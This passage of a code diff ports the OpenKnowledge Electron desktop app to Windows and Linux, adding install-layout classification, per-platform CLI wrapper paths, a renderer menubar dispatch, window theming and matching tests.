from 'bun:test';+import { describe, expect, test } from 'vitest';import { wrapperPathInBundle } from './bundle-paths.ts';describe('wrapperPathInBundle', () => {test('maps packaged executable path to bundled ok.sh wrapper', () => {+ // Platform pinned: the parameter defaults to process.platform (correct+ // for the production call sites, host-dependent in tests — the CI test+ // host is Linux). Per-platform layouts are covered in install-shape.test.ts.expect(- wrapperPathInBundle('/Applications/OpenKnowledge.app/Contents/MacOS/OpenKnowledge'),+ wrapperPathInBundle('/Applications/OpenKnowledge.app/Contents/MacOS/OpenKnowledge', 'darwin'),).toBe('/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh');});});diff --git a/packages/desktop/src/main/bundle-paths.ts b/packages/desktop/src/main/bundle-paths.tsindex 267f91a45..111f54871 100644--- a/packages/desktop/src/main/bundle-paths.ts+++ b/packages/desktop/src/main/bundle-paths.ts@@ -1,6 +1,27 @@-import { join } from 'node:path';+import { dirname, join, win32 } from 'node:path';-export function wrapperPathInBundle(executablePath: string): string {+/**+ * Map a packaged executable path to the bundled `ok` CLI wrapper for that+ * platform's install layout. Pure layout arithmetic — no existence checks,+ * no packaged-install gating (that's `install-shape.ts`); this is also+ * valid for TRANSIENT uses on layouts that must not be persisted, like an+ * AppImage's live squashfs mount under /tmp — correct for spawning the CLI+ * right now, wrong to record anywhere.+ *+ * - darwin: `<Bundle>.app/Contents/MacOS/<bin>` → `Contents/Resources/cli/bin/ok.sh`+ * - win32: `<root>\<Product>.exe` → `<root>\resources\cli\bin\ok.cmd`+ * - linux: `<root>/<executable>` → `<root>/resources/cli/bin/ok.sh`+ */+export function wrapperPathInBundle(+ executablePath: string,+ platform: 'darwin' | 'win32' | 'linux' | string = process.platform,+): string {+ if (platform === 'win32') {+ return win32.join(win32.dirname(executablePath), 'resources', 'cli', 'bin', 'ok.cmd');+ }+ if (platform === 'linux') {+ return join(dirname(executablePath), 'resources', 'cli', 'bin', 'ok.sh');+ }const bundleRoot = executablePath.replace(/\/Contents\/MacOS\/.*$/, '');return join(bundleRoot, 'Contents', 'Resources', 'cli', 'bin', 'ok.sh');}diff --git a/packages/desktop/src/main/index.ts b/packages/desktop/src/main/index.tsindex 82a41cf61..3c2f2819c 100644--- a/packages/desktop/src/main/index.ts+++ b/packages/desktop/src/main/index.ts@@ -131,6 +131,8 @@ import type {EditorActiveTargetSnapshot,EditorViewMenuStateSnapshot,McpWiringEditorId,+ MenuDispatchCommand,+ MenuDispatchRole,OnboardingShowPayload,RecentProject,} from '../shared/ipc-channels.ts';@@ -139,6 +141,7 @@ import { registerPendingDelivery, sendToRenderer } from '../shared/ipc-send.ts';import { resolveShell } from '../utility/pty-host.ts';import { buildAboutPanelOptions } from './about-panel.ts';import { appendOkIgnoreSync } from './append-okignore.ts';+import { registerAppImageDeepLinks } from './appimage-integration.ts';import { openAssetSafely, revealAssetSafely } from './asset-allowlist.ts';import { popAssetMenu } from './asset-menu.ts';import { resolveEffectiveInstanceName } from './auto-instance.ts';@@ -219,6 +222,7 @@ import { EMBED_HOST_PATTERNS, rewriteEmbedRequestHeaders } from './embed-refererimport { discoverProject, validateFolderPick } from './folder-admission.ts';import { ensureGitAvailable } from './git-preflight-handler.ts';import { readCanonicalGitHubRemoteUrl } from './git-remote.ts';+import { classifyInstallShape } from './install-shape.ts';import { formatInstanceAppName, resolveInstanceLabel } from './instance-identity.ts';import { deriveInstanceUserDataDir } from './instance-isolation.ts';import { registerIntegrationsSettings } from './integrations-settings.ts';@@ -377,6 +381,7 @@ import {createDefaultEditorViewMenuState,mergeViewMenuState,} from './view-menu-state.ts';+import { applyThemeToWindow, buildNonDarwinChromeOpts } from './window-chrome.ts';import {type BrowserWindowLike,setWindowInstanceLabel,@@ -425,17 +430,24 @@ import {// future Electron upgrade.const VIBRANCY_DEFAULT: VibrancyMaterial = 'sidebar';-// Chrome stack scoped to darwin; other platforms deferred. Electron applies-// `titleBarStyle: 'hiddenInset'` / `vibrancy` / `visualEffectState` /-// `transparent` / `trafficLightPosition` on every platform that supports-// them — un-gated, a Linux/Windows developer running the desktop dev-// command today gets a frameless transparent window with no usable chrome.-// Conditional spread keeps the fields off non-darwin runners. `resizable`+// Chrome stack is per-platform. Electron applies `titleBarStyle:+// 'hiddenInset'` / `vibrancy` / `visualEffectState` / `transparent` /+// `trafficLightPosition` on every platform that supports them — un-gated, a+// Linux/Windows window would be a frameless transparent surface with no+// usable chrome. The darwin spread keeps the mac vibrancy stack; non-darwin+// gets `titleBarStyle: 'hidden'` + `titleBarOverlay` (OS-drawn min/max/close+// over the renderer chrome row) + a solid theme-matched background from+// `window-chrome.ts` (windows-linux-port chrome). `resizable`// stays at Electron's default true: the editor needs drag-resize, and the// transparent-windows-not-resizable note in Electron's// custom-window-styles tutorial has not surfaced on Electron 41.x macOS in// dogfooding (verified via the smoke matrix). If a future Electron upgrade// regresses this, the smoke job will catch it before users do.+//+// Non-darwin theme note: `nativeTheme.shouldUseDarkColors` is read at+// module load for the initial chrome; a `nativeTheme.on('updated')`+// listener (registered in bootstrap below) re-applies via+// `applyThemeToWindow`, and covers windows created after a theme flip.const DEFAULT_WIN_OPTS: BrowserWindowConstructorOptions = {width: 1280,height: 800,@@ -450,7 +462,7 @@ const DEFAULT_WIN_OPTS: BrowserWindowConstructorOptions = {visualEffectState: 'followWindow',transparent: true,}- : {}),+ : buildNonDarwinChromeOpts(nativeTheme.shouldUseDarkColors)),webPreferences: {contextIsolation: true,nodeIntegration: false,@@ -2249,6 +2261,134 @@ function refreshApplicationMenu(): void {});}+/**+ * Menubar `command` dispatch (the windows-linux-port renderer-menubar decision). Each case+ * reuses the exact behavior the native menu deps wire in+ * `runApplicationMenuRefresh` — a divergence here would make the same menu+ * item act differently per platform.+ */+async function runMenuDispatchCommand(+ command: MenuDispatchCommand,+ sender: Electron.WebContents,+): Promise<void> {+ switch (command) {+ case 'open-navigator':+ openNavigator();+ return;+ case 'open-folder-dialog': {+ const picked = await promptForExistingFolder(dialog);+ if (picked) await openProjectOrFallbackToNavigator(picked, 'pick-existing');+ return;+ }+ case 'clear-recent-projects':+ appState = { ...appState, recentProjects: [] };+ saveAppState(appState);+ refreshApplicationMenu();+ return;+ case 'open-settings': {+ // Same hash-routed mount path as the native Settings… item; prefer the+ // dispatching window (the menubar lives in it) over the focus query.+ const target =+ BrowserWindow.fromWebContents(sender) ??+ BrowserWindow.getFocusedWindow() ??+ BrowserWindow.getAllWindows()[0];+ if (!target) return;+ target.webContents+ .executeJavaScript("window.location.hash = '#settings'; undefined")+ .catch(() => {+ // Window torn down mid-dispatch — the click degrades to a no-op.+ });+ return;+ }+ case 'check-for-updates':+ void autoUpdaterHandle?.checkForUpdatesNow().catch((err) => {+ console.warn('[main] checkForUpdatesNow rejected', {+ message: err instanceof Error ? err.message : String(err),+ });+ });+ return;+ case 'reconfigure-mcp-wiring':+ // Gate lives inside reconfigureMcpWiringNow (returns false when the+ // surface is unavailable) — same body the Cmd+K invoke channel runs.+ reconfigureMcpWiringNow();+ return;+ case 'open-github':+ // Hardcoded https URL — same build-time-trusted rationale as the+ // native Help-menu items (see openExternalUrl in the menu deps).+ void shell.openExternal('https://github.com/inkeep/open-knowledge');+ return;+ case 'toggle-spell-check':+ setSpellCheckEnabledAppWide(!appState.spellCheckEnabled);+ return;+ }+}++/**+ * Menubar `role` dispatch — the hand-rolled equivalents of the Electron+ * menu roles the native template gets for free. Applied to the dispatching+ * window (the menubar that fired lives in it).+ */+function applyMenuDispatchRole(role: MenuDispatchRole, sender: Electron.WebContents): void {+ if (role === 'quit') {+ app.quit();+ return;+ }+ const win = BrowserWindow.fromWebContents(sender) ?? BrowserWindow.getFocusedWindow();+ if (!win || win.isDestroyed()) return;+ const wc = win.webContents;+ switch (role) {+ case 'undo':+ wc.undo();+ return;+ case 'redo':+ wc.redo();+ return;+ case 'cut':+ wc.cut();+ return;+ case 'copy':+ wc.copy();+ return;+ case 'paste':+ wc.paste();+ return;+ case 'selectAll':+ wc.selectAll();+ return;+ case 'reload':+ wc.reload();+ return;+ case 'forceReload':+ wc.reloadIgnoringCache();+ return;+ case 'toggleDevTools':+ // Channel-gated like the native View menu: stable builds don't expose+ // the inspector even if a stale renderer sends the role.+ if (!app.isPackaged || channelFromVersion(app.getVersion()) === 'beta') {+ wc.toggleDevTools();+ }+ return;+ case 'resetZoom':+ wc.setZoomLevel(0);+ return;+ case 'zoomIn':+ wc.setZoomLevel(wc.getZoomLevel() + 0.5);+ return;+ case 'zoomOut':+ wc.setZoomLevel(wc.getZoomLevel() - 0.5);+ return;+ case 'toggleFullScreen':+ win.setFullScreen(!win.isFullScreen());+ return;+ case 'minimize':+ win.minimize();+ return;+ case 'close':+ win.close();+ return;+ }+}+async function runApplicationMenuRefresh(): Promise<void> {// installApplicationMenu is async because it dynamically imports// `electron.Menu` (see menu.ts header — keeps `buildMenuTemplate`@@ -2294,7 +2434,7 @@ async function runApplicationMenuRefresh(): Promise<void> {// windows the armed mount-ack fallback delivers the dialog to the next// window that opens.reconfigureMcpWiring:- process.platform === 'darwin' && app.isPackaged+ app.isPackaged && supportedPackagedInstall()? () => {reconfigureMcpWiringNow();}@@ -2321,7 +2461,11 @@ async function runApplicationMenuRefresh(): Promise<void> {openSettings: () => {const target = BrowserWindow.getFocusedWindow() ?? BrowserWindow.getAllWindows()[0];if (!target) return;- target.webContents.executeJavaScript("window.location.hash = '#settings'; undefined");+ target.webContents+ .executeJavaScript("window.location.hash = '#settings'; undefined")+ .catch(() => {+ // Window torn down mid-dispatch — the click degrades to a no-op.+ });},onReportBug: () => sendMenuActionToFocused('report-bug'),// App-menu / Help-menu "Check for Updates…" entries fire this. Returns@@ -2381,7 +2525,18 @@ async function runApplicationMenuRefresh(): Promise<void> {// resulting CRDT mutation triggers a sibling push back so the checkmark// snaps....buildViewMenuStateDeps(editorViewMenuState, sendMenuActionToFocused),- onNewTerminalWindow: () => openTerminalWindow(),+ // Terminal dock is dark off-mac (windows-linux-port terminal posture): node-pty+ // is not bundled on win/linux, so strip every terminal handler there —+ // the menu items render disabled instead of surfacing a spawn failure.+ // Overrides the three handlers `buildViewMenuStateDeps` just spread in.+ ...(process.platform === 'darwin'+ ? { onNewTerminalWindow: () => openTerminalWindow() }+ : {+ onToggleTerminal: undefined,+ onNewTerminal: undefined,+ onKillTerminal: undefined,+ onNewTerminalWindow: undefined,+ }),// Edit -> "Check Spelling While Typing": the checkbox reflects the// persisted app-wide flag; the click flips it through the shared toggle// (session + persist + menu rebuild) so this and the in-editor@@ -2391,6 +2546,18 @@ async function runApplicationMenuRefresh(): Promise<void> {});}+/**+ * Shared predicate for the machine-integration surfaces (MCP wiring+ * re-arm, integrations settings): the running executable is one of the+ * supported packaged layouts from `install-shape.ts`. AppImage and dev+ * shells are excluded — matching the reclaim modules' own gates, so a+ * surface never arms a flow its module would refuse.+ */+function supportedPackagedInstall(): boolean {+ const kind = classifyInstallShape(process.platform, app.getPath('exe'), process.env).kind;+ return kind !== 'appimage' && kind !== 'unsupported';+}+function desktopSelfUninstallAvailable(): boolean {if (process.platform !== 'darwin' || !app.isPackaged) return false;const appBundlePath = resolveAppBundleFromExecPath(process.execPath, process.platform);@@ -2981,12 +3148,14 @@ function armMcpWiring(opts: ArmMcpWiringOpts = {}): RunMcpWiringHandle {* `ok:mcp-wiring:reconfigure` invoke. Tears down any prior handle then arms a* fresh one with `forceShow: true` so the marker-present gate is bypassed, and* hands it an already-loaded window so the dialog opens immediately. Returns- * `false` when the surface is unavailable (non-darwin / unpackaged — same gate- * that hides the menu leaf) or when arming threw, so the palette can toast- * rather than silently no-op.+ * `false` when the surface is unavailable (unpackaged, or an install shape+ * with no persistent MCP wiring — same gate that hides the menu leaf) or+ * when arming threw, so the palette can toast rather than silently no-op.+ * Shared by the native File menu dep, the renderer menubar's+ * `reconfigure-mcp-wiring` dispatch, and the Cmd+K invoke channel.*/function reconfigureMcpWiringNow(): boolean {- if (!(process.platform === 'darwin' && app.isPackaged)) return false;+ if (!(app.isPackaged && supportedPackagedInstall())) return false;mcpWiringHandle?.destroy();mcpWiringHandle = null;try {@@ -3417,7 +3586,7 @@ function registerIpcHandlers() {});handle('ok:terminal:claude-assist', async (event, req) => {let rewireError: string | undefined;- if (req.action === 'rewire' && process.platform === 'darwin' && app.isPackaged) {+ if (req.action === 'rewire' && app.isPackaged && supportedPackagedInstall()) {// Re-arm MCP wiring: the same forceShow consent path as// File -> Set up OpenKnowledge integrations, so the user can wire// `open-knowledge` into Claude Code. Fires ONLY from the renderer's@@ -3902,6 +4071,44 @@ function registerIpcHandlers() {return undefined;});+ // Windows/Linux renderer-menubar dispatch (the windows-linux-port renderer-menubar decision).+ // The renderer-drawn menu bar routes every click here so menu semantics+ // stay single-sourced with the native template: `menu-action` relays+ // through the exact `sendMenuActionToFocused` path the native items use,+ // `role` maps onto what Electron menu roles do, `command` reuses the+ // same click handlers the native deps wire, and `query` returns the+ // aggregated state (`activeTarget` + view-menu snapshot + recents ++ // capability flags) that drives the native menu's enable/check rendering.+ // macOS renderers never call this (they keep the native menu bar).+ handle('ok:menu:dispatch', async (event, request) => {+ switch (request.kind) {+ case 'query':+ return {+ recentProjects: appState.recentProjects.map((r) => ({ path: r.path, name: r.name })),+ spellCheckEnabled: appState.spellCheckEnabled,+ // Same channel discriminator as the native menu (see+ // runApplicationMenuRefresh's showDevToolsMenu rationale).+ showDevToolsMenu: !app.isPackaged || channelFromVersion(app.getVersion()) === 'beta',+ canCheckForUpdates: autoUpdaterHandle != null,+ canReconfigureMcpWiring: app.isPackaged && supportedPackagedInstall(),+ activeTarget: editorActiveTarget ?? { kind: null },+ viewMenuState: editorViewMenuState,+ };+ case 'menu-action':+ sendMenuActionToFocused(request.action);+ return undefined;+ case 'open-recent-project':+ await openProjectOrFallbackToNavigator(request.path, 'recents');+ return undefined;+ case 'command':+ await runMenuDispatchCommand(request.command, event.sender);+ return undefined;+ case 'role':+ applyMenuDispatchRole(request.role, event.sender);+ return undefined;+ }+ });+handle('ok:startup:renderer-marks', async (_event, marks) => {// Fold the renderer's two launch checkpoints into the waterfall. Fire-and-// forget from the renderer; we never reject (the renderer swallows anyway).@@ -3933,6 +4140,10 @@ function registerIpcHandlers() {// Ephemeral single-file windows carry teardown state on `ctx.ephemeral`;// its presence IS the single-file signal for the renderer's chrome gate.singleFile: ctx.ephemeral !== undefined,+ // Mirrors the preload's cold-start config: pty capability is a+ // platform fact (node-pty ships on macOS only), identical for a+ // re-queried live window.+ ptyAvailable: process.platform === 'darwin',// `initialDoc` is a cold-start-only hash seed (consumed once at renderer// boot from the preload-injected bridge config). A live window queried via// get-info has already navigated, so there is nothing to re-seed → null.@@ -4667,11 +4878,15 @@ function registerIpcHandlers() {*/function registerIntegrationsSettingsIpc(): void {const integrationsLogger = getLogger('integrations-settings');+ // Mirrors the mcp-wiring/skill-reclaim gates via the shared classifier:+ // any supported packaged layout (darwin bundle / NSIS / linux dir) is+ // available; AppImage + dev shells render the section read-only.const available =process.env.OK_RECLAIM_DISABLE !== '1' &&- process.platform === 'darwin' &&(app.isPackaged || process.env.OK_M6B_FORCE === '1') &&- /\.app\/Contents\/MacOS\/[^/]+$/.test(app.getPath('exe'));+ !['appimage', 'unsupported'].includes(+ classifyInstallShape(process.platform, app.getPath('exe'), process.env).kind,+ );const tildifyHomePath = (path: string): string => {const home = osHomedir();return path.startsWith(`${home}/`) ? `~${path.slice(home.length)}` : path;@@ -4837,11 +5052,12 @@ function registerIntegrationsSettingsIpc(): void {*/function registerProjectIntegrationsSettingsIpc(): void {const projectLogger = getLogger('project-integrations-settings');+ // Same shape gate as the user-scope section — see+ // registerIntegrationsSettingsIpc.const available =process.env.OK_RECLAIM_DISABLE !== '1' &&- process.platform === 'darwin' &&(app.isPackaged || process.env.OK_M6B_FORCE === '1') &&- /\.app\/Contents\/MacOS\/[^/]+$/.test(app.getPath('exe'));+ supportedPackagedInstall();const tildifyHomePath = (path: string): string => {const home = osHomedir();return path.startsWith(`${home}/`) ? `~${path.slice(home.length)}` : path;@@ -5500,6 +5716,37 @@ function bootPrimaryInstance(): void {maxSupportedSchemaVersion: MAX_SUPPORTED_SCHEMA_VERSION,});appState = result.appState;++ // Windows/Linux chrome theme-reactivity (windows-linux-port chrome): construction options are+ // read once per window, so a theme flip after creation must re-apply+ // the solid background (+ overlay colors on win32) to every live+ // window. macOS is untouched — vibrancy tracks nativeTheme natively.+ if (process.platform !== 'darwin') {+ nativeTheme.on('updated', () => {+ for (const win of BrowserWindow.getAllWindows()) {+ applyThemeToWindow(win, process.platform, nativeTheme.shouldUseDarkColors);+ }+ });+ }++ // AppImage deep-link self-registration (windows-linux-port deep-link posture): fire-and-forget — a+ // failure means openknowledge:// links stay unregistered on this+ // box, which is exactly the pre-existing state. Skips itself+ // everywhere but packaged Linux AppImage launches.+ void registerAppImageDeepLinks({+ platform: process.platform,+ isPackaged: app.isPackaged,+ env: process.env,+ homeDir: osHomedir(),+ log: {+ info: (obj, msg) => getLogger('lifecycle').info(obj as Record<string, unknown>, msg),+ warn: (obj, msg) => getLogger('lifecycle').warn(obj as Record<string, unknown>, msg),+ },+ }).then((result) => {+ if (result.status === 'failed') {+ getLogger('lifecycle').warn(result, '[appimage-integration] registration failed');+ }+ });pendingSchemaIncompatibility = result.pendingSchemaIncompatibility;// Snapshot the post-upgrade signal BEFORE step 6 (`bootAutoUpdater`)// advances `lastSeenVersion` — this bootstrap runs at step 2, the firstdiff --git a/packages/desktop/src/main/install-shape.test.ts b/packages/desktop/src/main/install-shape.test.tsnew file mode 100644index 000000000..08c33bb3d--- /dev/null+++ b/packages/desktop/src/main/install-shape.test.ts@@ -0,0 +1,85 @@+import { describe, expect, test } from 'vitest';+import { wrapperPathInBundle } from './bundle-paths.ts';+import { classifyInstallShape } from './install-shape.ts';++describe('classifyInstallShape', () => {+ test('darwin bundle → mac-bundle with Contents/Resources wrapper', () => {+ const shape = classifyInstallShape(+ 'darwin',+ '/Applications/OpenKnowledge.app/Contents/MacOS/OpenKnowledge',+ {},+ );+ expect(shape).toEqual({+ kind: 'mac-bundle',+ wrapperPath: '/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh',+ });+ });++ test('darwin non-bundle executable is unsupported', () => {+ expect(classifyInstallShape('darwin', '/usr/local/bin/electron', {})).toEqual({+ kind: 'unsupported',+ });+ });++ test('win32 NSIS layout → resources\\cli\\bin\\ok.cmd', () => {+ const shape = classifyInstallShape(+ 'win32',+ 'C:\\Users\\u\\AppData\\Local\\Programs\\OpenKnowledge\\OpenKnowledge.exe',+ {},+ );+ expect(shape).toEqual({+ kind: 'windows',+ installRoot: 'C:\\Users\\u\\AppData\\Local\\Programs\\OpenKnowledge',+ wrapperPath:+ 'C:\\Users\\u\\AppData\\Local\\Programs\\OpenKnowledge\\resources\\cli\\bin\\ok.cmd',+ });+ });++ test('win32 non-exe is unsupported', () => {+ expect(classifyInstallShape('win32', 'C:\\weird\\electron', {})).toEqual({+ kind: 'unsupported',+ });+ });++ test('linux deb layout → resources/cli/bin/ok.sh', () => {+ const shape = classifyInstallShape('linux', '/opt/OpenKnowledge/openknowledge', {});+ expect(shape).toEqual({+ kind: 'linux',+ installRoot: '/opt/OpenKnowledge',+ wrapperPath: '/opt/OpenKnowledge/resources/cli/bin/ok.sh',+ });+ });++ test('linux AppImage launch (APPIMAGE env) declines persistent integrations', () => {+ // The exec path is the live squashfs mount — valid to spawn from right+ // now, guaranteed-dead if persisted anywhere.+ const shape = classifyInstallShape('linux', '/tmp/.mount_OpenKnXYZ/openknowledge', {+ APPIMAGE: '/home/u/OpenKnowledge-x86_64.AppImage',+ });+ expect(shape).toEqual({ kind: 'appimage' });+ });++ test('unknown platform is unsupported', () => {+ expect(classifyInstallShape('freebsd', '/opt/ok/ok', {})).toEqual({ kind: 'unsupported' });+ });+});++describe('wrapperPathInBundle per-platform layouts', () => {+ test('darwin default stays byte-identical to the historical mapping', () => {+ expect(+ wrapperPathInBundle('/Applications/OpenKnowledge.app/Contents/MacOS/OpenKnowledge', 'darwin'),+ ).toBe('/Applications/OpenKnowledge.app/Contents/Resources/cli/bin/ok.sh');+ });++ test('win32 maps beside the exe under resources\\', () => {+ expect(wrapperPathInBundle('C:\\Programs\\OpenKnowledge\\OpenKnowledge.exe', 'win32')).toBe(+ 'C:\\Programs\\OpenKnowledge\\resources\\cli\\bin\\ok.cmd',+ );+ });++ test('linux maps beside the executable under resources/', () => {+ expect(wrapperPathInBundle('/opt/OpenKnowledge/openknowledge', 'linux')).toBe(+ '/opt/OpenKnowledge/resources/cli/bin/ok.sh',+ );+ });+});diff --git a/packages/desktop/src/main/install-shape.ts b/packages/desktop/src/main/install-shape.tsnew file mode 100644index 000000000..692d958bb--- /dev/null+++ b/packages/desktop/src/main/install-shape.ts@@ -0,0 +1,69 @@+/**+ * Per-platform packaged-install shape classification (windows-linux-port+ * spec, Tier B). Every user-machine reclaim surface (PATH install, MCP+ * wiring, skill reclaim, project MCP reclaim, integrations settings) gates+ * on "is this executable a supported packaged install, and where do its+ * bundled CLI resources live?" — historically a darwin-only+ * `.app/Contents/MacOS` regex. This module is the single cross-platform+ * answer, so the gates can't drift from each other.+ *+ * Shapes:+ * - darwin: `<Bundle>.app/Contents/MacOS/<bin>` → resources under+ * `Contents/Resources`.+ * - win32: `<installRoot>\<Product>.exe` → resources under+ * `<installRoot>\resources` (electron-builder NSIS layout; per-user+ * default `%LOCALAPPDATA%\Programs\@inkeepopen-knowledge-desktop` — the+ * sanitized package name; electron-builder only tries productName for+ * assisted/per-machine installs).+ * - linux (deb / unpacked dir): `<installRoot>/<executable>` → resources+ * under `<installRoot>/resources` (`/opt/OpenKnowledge` for deb).+ * - linux AppImage: the squashfs mount path in `process.execPath` dies with+ * the process and relocates every launch, so anything that would persist+ * a path into user config (PATH symlinks, MCP entries, wrapper paths)+ * must DECLINE — a recorded mount path is guaranteed-dead config. The+ * `APPIMAGE` env var (exported by the AppImage runtime) is the signal.+ */++import { dirname, win32 } from 'node:path';+import { wrapperPathInBundle } from './bundle-paths.ts';++export type InstallShape =+ | { kind: 'mac-bundle'; wrapperPath: string }+ | { kind: 'windows'; installRoot: string; wrapperPath: string }+ | { kind: 'linux'; installRoot: string; wrapperPath: string }+ /** Packaged Linux AppImage — ephemeral mount path; persistent-path integrations decline. */+ | { kind: 'appimage' }+ /** Executable path matches no supported packaged layout (dev shells, odd relocations). */+ | { kind: 'unsupported' };++export function classifyInstallShape(+ platform: 'darwin' | 'win32' | 'linux' | string,+ executablePath: string,+ env: Record<string, string | undefined>,+): InstallShape {+ if (platform === 'darwin') {+ if (!/\.app\/Contents\/MacOS\/[^/]+$/.test(executablePath)) return { kind: 'unsupported' };+ return {+ kind: 'mac-bundle',+ wrapperPath: wrapperPathInBundle(executablePath, platform),+ };+ }+ if (platform === 'win32') {+ if (!/\.exe$/i.test(executablePath)) return { kind: 'unsupported' };+ return {+ kind: 'windows',+ installRoot: win32.dirname(executablePath),+ wrapperPath: wrapperPathInBundle(executablePath, platform),+ };+ }+ if (platform === 'linux') {+ if (env.APPIMAGE) return { kind: 'appimage' };+ if (!executablePath.startsWith('/')) return { kind: 'unsupported' };+ return {+ kind: 'linux',+ installRoot: dirname(executablePath),+ wrapperPath: wrapperPathInBundle(executablePath, platform),+ };+ }+ return { kind: 'unsupported' };+}diff --git a/packages/desktop/src/main/integrations-settings.ts b/packages/desktop/src/main/integrations-settings.tsindex 20e0cfd65..6c32d8161 100644--- a/packages/desktop/src/main/integrations-settings.ts+++ b/packages/desktop/src/main/integrations-settings.ts@@ -114,9 +114,10 @@ interface IpcMainLike extends Pick<IpcMain, 'handle' | 'removeHandler'> {}export interface RegisterIntegrationsSettingsOpts {home: string;- /** Same gate set as the consent dialog / startup reclaim (darwin, packaged- * or OK_M6B_FORCE, `.app` executable shape). False renders the section- * read-only: status still computes, mutations refuse. */+ /** Same gate set as the consent dialog / startup reclaim (a supported+ * packaged install layout per install-shape.ts, packaged or+ * OK_M6B_FORCE). False renders the section read-only: status still+ * computes, mutations refuse. */available: boolean;ipcMain: IpcMainLike;cli: IntegrationsCliSurface;diff --git a/packages/desktop/src/main/mcp-wiring.ts b/packages/desktop/src/main/mcp-wiring.tsindex 4b2331719..87bfa4c9e 100644--- a/packages/desktop/src/main/mcp-wiring.ts+++ b/packages/desktop/src/main/mcp-wiring.ts@@ -55,6 +55,7 @@ import type {} from '../shared/ipc-channels.ts';import { createHandler } from '../shared/ipc-handler.ts';import { type SendableWebContents, sendToRenderer } from '../shared/ipc-send.ts';+import { classifyInstallShape } from './install-shape.ts';import { logIpcError } from './ipc-log.ts';const MCP_STATUS_DIR_NAME = '.ok';@@ -386,12 +387,14 @@ const DEFAULT_LOGGER: McpWiringLogger = {interface RunMcpWiringOpts {/** `app.isPackaged` — dev-mode contamination guard. */isPackaged: boolean;- /** `app.getPath('exe')` — must end in `.app/Contents/MacOS/<name>`. */+ /** `app.getPath('exe')` — must match a supported packaged layout (`install-shape.ts`). */executablePath: string;/** `os.homedir()` in production; an isolated tmpdir under Playwright smoke. */home: string;- /** `process.platform` — this flow is macOS-only today. */+ /** `process.platform` — darwin / win32 / linux all wire; AppImage declines. */platform: 'darwin' | 'win32' | 'linux' | string;+ /** Env for install-shape classification (AppImage detection). Defaults to `process.env`. */+ env?: Record<string, string | undefined>;ipcMain: IpcMainLike;cli: McpWiringCliSurface;/** Value of `process.env.OK_M6B_FORCE` — `'1'` bypasses the packaged gate for dev smokes. */@@ -467,10 +470,15 @@ export function checkAndRepairMcpWiringOnStartup(} = opts;if (reclaimDisableEnv === '1')return Promise.resolve({ status: 'skipped', reason: 'reclaim-disabled' });- if (platform !== 'darwin') return Promise.resolve({ status: 'skipped', reason: 'platform' });if (!isPackaged && forceEnv !== '1')return Promise.resolve({ status: 'skipped', reason: 'dev-mode' });- if (!/\.app\/Contents\/MacOS\/[^/]+$/.test(executablePath)) {+ const installShape = classifyInstallShape(platform, executablePath, opts.env ?? process.env);+ // AppImage: the chain entries would embed the ephemeral squashfs mount+ // path — guaranteed-dead config by next launch. Decline, like PATH install.+ if (installShape.kind === 'appimage') {+ return Promise.resolve({ status: 'skipped', reason: 'appimage-ephemeral' });+ }+ if (installShape.kind === 'unsupported') {return Promise.resolve({ status: 'skipped', reason: 'bad-executable-path' });}// User-scope sweep: only editors with a user-global config surface.@@ -650,12 +658,6 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): Rureturn inertHandle;}- // macOS-only today. Windows / Linux parity deferred.- if (platform !== 'darwin') {- logger.info('skip — platform is not darwin', { platform });- return inertHandle;- }-// Dev-mode contamination guard. In `electron-vite dev`,// `app.getPath('exe')` points at the dev Electron binary and `extraResources`// are not mounted. `OK_M6B_FORCE=1` is an explicit opt-in for developer@@ -665,11 +667,19 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): Rureturn inertHandle;}- // If executablePath doesn't match `.app/Contents/MacOS/<name>`, this is a- // dev environment. Abort rather than contaminating real user MCP configs.- if (!/\.app\/Contents\/MacOS\/[^/]+$/.test(executablePath)) {- logger.warn('skip — executablePath does not match .app/Contents/MacOS/<name> shape', {+ // If executablePath doesn't match a supported packaged layout, this is a+ // dev environment (or an AppImage, whose ephemeral mount path must never+ // be persisted into MCP configs). Abort rather than contaminating real+ // user MCP configs.+ const firstLaunchShape = classifyInstallShape(platform, executablePath, opts.env ?? process.env);+ if (firstLaunchShape.kind === 'appimage') {+ logger.info('skip — AppImage launch (ephemeral mount path; MCP wiring declines)');+ return inertHandle;+ }+ if (firstLaunchShape.kind === 'unsupported') {+ logger.warn('skip — executablePath does not match a supported packaged install layout', {executablePath,+ platform,});return inertHandle;}diff --git a/packages/desktop/src/main/path-install.test.ts b/packages/desktop/src/main/path-install.test.tsindex 398f9a5c9..7d527747b 100644--- a/packages/desktop/src/main/path-install.test.ts+++ b/packages/desktop/src/main/path-install.test.ts@@ -1,4 +1,3 @@-import { describe, expect, test } from 'bun:test';import {existsSync,lstatSync,@@ -12,6 +11,7 @@ import {} from 'node:fs';import { tmpdir } from 'node:os';import { dirname, join } from 'node:path';+import { describe, expect, test } from 'vitest';import {computePathInstallDescriptor,computePathLeg,@@ -337,7 +337,7 @@ describe('ensureCliOnPath', () => {expect(events.some((e) => e.event === 'path-install-extra-symlink-removed')).toBe(true);});- test('skips outside packaged darwin bundle contexts', async () => {+ test('skips outside supported packaged contexts', async () => {const h = home();const base = baseOpts(h, {spawn: async () => ({ code: 0, stdout: '', stderr: '' }),@@ -346,7 +346,26 @@ describe('ensureCliOnPath', () => {status: 'skipped',reason: 'reclaim-disabled',});- expect(await ensureCliOnPath({ ...base, platform: 'linux' })).toEqual({+ // Windows PATH belongs to the NSIS installer (installer-owned Windows PATH) — the POSIX rc/symlink+ // machinery never runs there.+ expect(await ensureCliOnPath({ ...base, platform: 'win32' })).toEqual({+ status: 'skipped',+ reason: 'installer-managed',+ });+ // AppImage mounts are ephemeral — persisting symlinks into the mount+ // would leave dead paths after quit.+ expect(+ await ensureCliOnPath({+ ...base,+ platform: 'linux',+ executablePath: '/tmp/.mount_okXYZ/openknowledge',+ env: { HOME: h, SHELL: '/bin/bash', APPIMAGE: '/home/u/OK.AppImage' },+ }),+ ).toEqual({+ status: 'skipped',+ reason: 'appimage-ephemeral',+ });+ expect(await ensureCliOnPath({ ...base, platform: 'freebsd' })).toEqual({status: 'skipped',reason: 'platform',});@@ -360,6 +379,26 @@ describe('ensureCliOnPath', () => {});});+ test('linux deb install: symlinks target the flat-layout wrapper and bash gets .bashrc', async () => {+ const h = home();+ const result = await ensureCliOnPath(+ baseOpts(h, {+ 